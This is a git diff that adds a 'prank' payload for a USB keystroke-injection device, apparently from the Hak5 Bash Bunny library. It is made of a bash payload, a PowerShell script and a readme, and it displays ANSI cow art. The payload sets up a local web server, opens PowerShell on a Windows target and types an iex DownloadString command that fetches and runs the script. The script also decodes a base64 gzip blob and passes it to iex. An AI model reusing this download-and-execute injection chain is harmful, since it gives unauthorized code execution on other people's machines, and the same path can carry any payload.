diff --git a/payloads/library/prank/Win_PoSH_AnsiSebsCow/moo b/payloads/library/prank/Win_PoSH_AnsiSebsCow/moo
new file mode 100644
index 00000000..0de8e02c
--- /dev/null
+++ b/payloads/library/prank/Win_PoSH_AnsiSebsCow/moo
@@ -0,0 +1,60 @@
+# Ansi art base64 encoded gzip file
+$data = 'H4sIAAAAAAAEAO3aTUrDQBQH8L3gHdLiNYSCgkdw3UVBF1aoBa+QpU2MBUHwLB6lJ9EWC8nMm3kf838tUsmsTOe9/y+TrxYvltVlNRmfn23empMaSPFqNzxiIivjxVg3vqaXGBIQXtBZXJgRW+1QYnNMYCmZuP363G8FCQ0h7XX6
+iVvFyrYD7XZ2rY+3CjPEx4+ZSo16WKclYTlbs58UC+vIGYSqKQwNrLOi32aUheYwoqY3m3Yl/yDmsFX6GdRXF00JNP3mmvyS2UHbfEbRPbFNSHrnmlmRqhN3ZYNK7+9x4bafoBATgnaDbMln1T2xCEspJI1SKCyW7cgEUeZO79Il
+Uhog8dlpbgJgeGa6Q36yd9Sev0o0s/wNqRxph+QzbgbRCQEnyBAogSyX5nYMSi9rht0wR135LE48XokhXcnESzTEw6nkGomMbO4Jy13GwftWnlRzvEx7Z11OTb2GZYiDD7AqT60FvDPbFtUo5bGH9Kou0L/q1YvN5zFUqwDbHnVI
+lMZlezTbNnT2YFlKD6x2UQ3LotY1/jS+gyKu5WfxY+p0WTE/O2BpOaCr7lA0EPBfdxwaAlj4NNvv9pDxXXErxydRToEXhIoBrbJ1yitI6wC+IcrDokZRHl6sLN+9broX6Fhj0Tpxw1ftVtfTxWI2r27v50/V8m5WXT0+VzfTh9lo
+9LNT0CfuWXaGakb3jl6vD2zCU/zXs/HkGzPXN594JwAA'
+
+## Decompress the ansi art
+$binaryData = [System.Convert]::FromBase64String($data)
+$ms = New-Object System.IO.MemoryStream
+$ms.Write($binaryData, 0, $binaryData.Length)
+$ms.Seek(0,0) | Out-Null
+$cs = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]"Decompress")
+$sr = New-Object System.IO.StreamReader($cs)
+$structure = $sr.ReadToEnd()
+iex $structure
+
+Clear-Host
+# Resize window
+1..4 | % {
+try
+{
+    $host.UI.RawUI.WindowSize = New-Object System.Management.Automation.Host.Size 80,47
+}
+catch {}
+}
+
+# Loop each char
+$t | % {$_[0..($_.length)]} | % {
+    # Set colour
+    switch ($_) {
+        "▒" {
+            $c = "Green"
+            $b = "Green"
+        }
+        "░" {
+            $c = "DarkYellow"
+            $b = "Yellow"
+        }
+        "▓" {
+            # to get pink
+            $c = "Red"
+            $b = "White"
+        }
+        "█" {
+            $c = "Black"
+            $b = "Black"
+        }
+        " " {
+            $c = "White"
+            $b = "White"
+        }
+        default {
+            $c = "White"
+            $b = "DarkBlue"
+        }
+    }
+    # Write char
+    Write-Host $_ -NoNewline -ForegroundColor $c -backgroundcolor $b
+}
\ No newline at end of file
diff --git a/payloads/library/prank/Win_PoSH_AnsiSebsCow/payload.txt b/payloads/library/prank/Win_PoSH_AnsiSebsCow/payload.txt
new file mode 100644
index 00000000..17c16e9e
--- /dev/null
+++ b/payloads/library/prank/Win_PoSH_AnsiSebsCow/payload.txt
@@ -0,0 +1,38 @@
+#!/bin/bash
+# Title:          ANSI Seb's Cow
+# Description:    Display an ANSI art Seb's Cow
+# Author:         Cribbit
+# Version:        1.0
+# Category:       Pranks
+# Target:         Windows (Powershell 5.1+)
+# Attackmodes:    RNDIS_ETHERNET HID
+# Props:          Hak5's Sebs Cow, Audibleblink (Python Server) and Lee Holmes (compression)
+
+LED SETUP
+ATTACKMODE RNDIS_ETHERNET HID
+
+GET SWITCH_POSITION
+GET HOST_IP
+
+
+cd /root/udisk/payloads/$SWITCH_POSITION/
+
+# starting server
+LED SPECIAL
+
+# disallow outgoing dns requests so server starts immediately
+iptables -A OUTPUT -p udp --dport 53 -j DROP
+python -m SimpleHTTPServer 80 &
+
+# wait until port is listening
+while ! nc -z localhost 80; do sleep 0.2; done
+
+# attack commences
+LED ATTACK
+QUACK DELAY 200
+RUN WIN Powershell
+QUACK DELAY 500
+QUACK STRING "iex (New-Object Net.WebClient).DownloadString(\"http://$HOST_IP/moo\")"
+QUACK ENTER
+LED FINISH
+
diff --git a/payloads/library/prank/Win_PoSH_AnsiSebsCow/readme.md b/payloads/library/prank/Win_PoSH_AnsiSebsCow/readme.md
new file mode 100644
index 00000000..4a58fb47
--- /dev/null
+++ b/payloads/library/prank/Win_PoSH_AnsiSebsCow/readme.md
@@ -0,0 +1,23 @@
+# ANSI Seb's Cow
+- Author: Cribbit
+- Version: 1.0
+- Target: Windows (Powershell 5.1+)
+- Category: Pranks
+- Attackmode: HID & RNDIS_ETHERNET
+- Extensions: Run
+- Props: Hak5's Sebs Cow, Audibleblink (Python Server) and Lee Holmes (Compression)
+
+## Change Log
+| Version | Changes         |
+| ------- | --------------- |
+| 1.0     | Initial release |
+
+## Description
+Shows an ansi art image of seb's cow in a powershell window
+
+## Colours
+| Status   | Colour                        | Description                 |
+| -------- | ----------------------------- | --------------------------- |
+| SETUP    | Magenta solid                 | Setting attack mode         |
+| ATTACK   | Yellow single blink           | Injecting Powershell script |
+| FINISHED | Green blink followed by SOLID | Injection finished          |
\ No newline at end of file